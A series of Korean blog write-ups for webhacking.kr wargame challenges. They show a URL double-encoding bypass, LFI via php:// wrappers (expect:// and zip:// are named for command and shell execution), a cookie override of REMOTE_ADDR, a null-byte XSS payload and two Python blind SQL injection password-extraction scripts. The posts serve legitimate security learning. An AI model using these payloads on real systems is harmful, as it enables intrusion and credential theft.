728x90

admin을 URL Encoding 해서 id 키의 값으로 전달하면 된다.

BURP SUITE의 Decoder 기능을 이용해 admin의 URL Encoding 결과값은 다음과 같다.

%61%64%6d%69%6e

하지만 이대로 전달하면 결국 php에서는 admin으로 해석하여 $_GET['id']에 저장한다.

이 경우 '%'를 URL Encoding한 값 id 키의 값으로 전달해야한다.

?id=%2561%2564%256d%2569%256e

그럼 위의 php 코드에서 preg_match 안의 $_GET['id']에는 %61%64%6d%69%6e가 저장된다.

그리고 urldecode 결과 "admin"이 되는 것이다.

참고로

?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 도 가능하다.

마찬가지로 $_GET['id']에는 %61%64%6d%69%6e가 저장된다.

urldecode 결과 "admin"이 된다.

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 28(설정 파일 업로드)  (0) 2022.12.19
webhacking 27(SQL Injection)  (0) 2022.12.19
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
728x90

LFI(Local File Inclusion): 공격 대상 서버에 위치한 파일을 포함시켜 읽어오는 공격. php에서 include, require 함수 등을 사용할때 발생 가능. (include, require 함수는 다른 php파일을 포함하는 기능)

file 키 값에 파일명을 넣으면 파일 실행 결과가 출력됨. 즉, LFI 공격 가능. PHP 코드이므로 PHP Wrapper 사용

PHP Wrapper 예시
1. expect:// = 시스템 명령어 실행 가능

ex) 웹 사이트 주소.index.php?page=expect://시스템 명령어

2. php://filter/ = I/O 스트림을 다루는데 사용. encode/decode 옵션을 사용하여 파일 읽기 가능

ex) 웹 사이트 주소.index.php?page=php://filter/convert.base64-encode/resource=파일명

3. zip:// = zip파일의 압축을 푼 후 파일 안의 코드 실행. 주로 쉘 코드를 실행하여 공격

ex) 웹 사이트 주소.index.php?page=zip://file.zip#shell.php

2번 기능을 이용하여 ?file=php://filter/convert.base64-encode/resource=flag 대입

PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==

라는 결과 나옴.끝에 ==가 붙음으로 base64 디코딩하면 결과는 다음과 같다

<?php
  echo "FLAG is in the code";
  $flag = "FLAG{this_is_your_first_flag}";
?>

FLAG{this_is_your_first_flag} 값을 웹 해킹 사이트 상단의 Auth 메뉴에 입력하면 통과

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 27(SQL Injection)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 24(PHP)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
webhacking 22(Blind SQL Injection)  (0) 2022.12.17
728x90

PHP 코드 해석해서 적절한 값을 서버에 보내야한다

이미 좋은 풀이들이 많이 있다

$_SERVER변수에 이미 $REMOTE_ADDR에 해당하는 값이 존재하지만 extract($_COOKIE)가 나중에 실행되기 때문에 $REMOTE_ADDR을 재정의 할 수 있다

이를 이용해 BURP SUITE나 EditThisCookie를 사용해서 쿠키값에 REMOTE_ADDR=112277...00...00...1 을 설정하면 된다

$ip str_replace("..",".",$ip); --> 결과값:  112277..00..00..1
$ip str_replace("12","",$ip); --> 결과값:  1277..00..00..1
$ip str_replace("7.","",$ip);  --> 결과값:  127.00..00..1
$ip str_replace("0.","",$ip);  --> 결과값:  127.0.0.1

str_replace 함수를 한번 실행할 때마다 문자열의 앞에서부터 끝까지 훑으면서 해당하는 문자를 변환한다고 생각하면된다.(변환한 결과를 또 처음부터 훑으면서 변환하는게 아님)

BURP SUITE의 쿠키 값을 다음과 같이 설정했다

Cookie: PHPSESSID=자신의 세션 ID; REMOTE_ADDR=112277...00...00...1

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
webhacking 22(Blind SQL Injection)  (0) 2022.12.17
webhacking 21(Blind SQL Injection)  (0) 2022.12.16
728x90

input 태그에 입력하면 code라는 url 키의 값으로 주어짐

주소창에다가 code의 값에 다음 구문 직접 입력

input 태그에 입력하면 %가 %25로 url 인코딩 되기 때문에 직접 주소창에 입력해야함(';'도 반드시 입력해야 통과됨)

<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t%00%28%001%00%29%00;%00<%2F%00s%00c%00r%00i%00p%00t>

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17
webhacking 22(Blind SQL Injection)  (0) 2022.12.17
webhacking 21(Blind SQL Injection)  (0) 2022.12.16
728x90

import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'
cookie={'PHPSESSID':'74obv0eti09jn2pn9di4eklsq4'}

def find_pw_len():
    pw_len=1
    while True:
        payload={'uuid':"admin' and length(pw)={}#".format(pw_len),'pw':'1'}
        res=requests.post(url, data=payload, cookies=cookie)
        
        if 'Wrong' in res.text:
            return pw_len
        else:
            pw_len+=1

def find_pw():
    pw_len=find_pw_len()
    for i in range(1,33):
        for j in range(128):
            
            #payload={'uuid':"admin' and ord(substr(pw,{},1))={}#".format(i,j),'pw':'1'}
            payload={'uuid':"admin' and ascii(substr(pw,{},1))={}#".format(i,j),'pw':'1'}
            #두 쿼리의 결과 동일. 단 ascii 빼고 j 대신 chr(j)로 바꾸면 원하는 결과 안나옴.
            #mysql에서 문자열을 숫자로 자동변환하는 특징때문에 '문자'=0이 됨. 따라서 알파벳은 j가 48('0')일때 늘 조건이 참이 됨.
            #payload 부분에서 주석을 21번 문제와 달리 '#'을 입력해야함. post 방식에서는 payload의 값들은 입력폼에 입력한 값과 같음.
            #입력폼에 %23이라고 쓰면 %2523으로 url 인코딩돼서 서버로 전달됨. BURP SUITE로 확인하면 바로 알 수 있음.
            #21번처럼 get 방식에서는 url에 쿼리문을 입력한 것과 같으므로 '%23'을 써야 php에서 '#'으로 인식함. '#'은 URL 예약문자라 URL인코딩 안됨.
            res=requests.post(url,data=payload,cookies=cookie)

            if 'Wrong' in res.text:
                print(chr(j))
                break

find_pw()         

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
webhacking 21(Blind SQL Injection)  (0) 2022.12.16
728x90

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
cookie={'PHPSESSID':'자신의 세션 id'}

def find_pw_len():
    pw_len=1
    while True:
        query=url+"' or id='admin' and length(pw)={}%23".format(pw_len)
        res=requests.get(query,cookies=cookie)

        #query=url+"' or id='admin' and length(pw)="+str(pw_len)+"#"
        #위의 쿼리는 안됨. '#'문자가 url예약문자라 url인코딩 안됨. 반드시 %23으로 써야 php 코드에서 '#'으로 해석함.
    
        if 'wrong' in res.text:
           return pw_len
        else:
            pw_len+=1

def find_pw():
    pw_len=find_pw_len()
    for i in range(1,37):
        for j in range(128):
            query=url+"' or id='admin' and ascii(substr(pw,{},1))={}%23".format(i,j)
            res=requests.get(query,cookies=cookie)

            if 'wrong' in res.text:
                print(chr(j))
                break
                        
find_pw()  

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 25(LFI)  (0) 2022.12.17
webhacking 24(PHP)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
webhacking 22(Blind SQL Injection)  (0) 2022.12.17
728x90

1. call 

call 명령어는 풀어쓰자면 아래의 명령어 조합과 같다.

push eip

jmp <함수 주소값>

 

2. retn(return)

retn 명령어는 풀어쓰자면 아래의 명령어 조합과 같다.

pop eip

jmp eip

728x90

+ Recent posts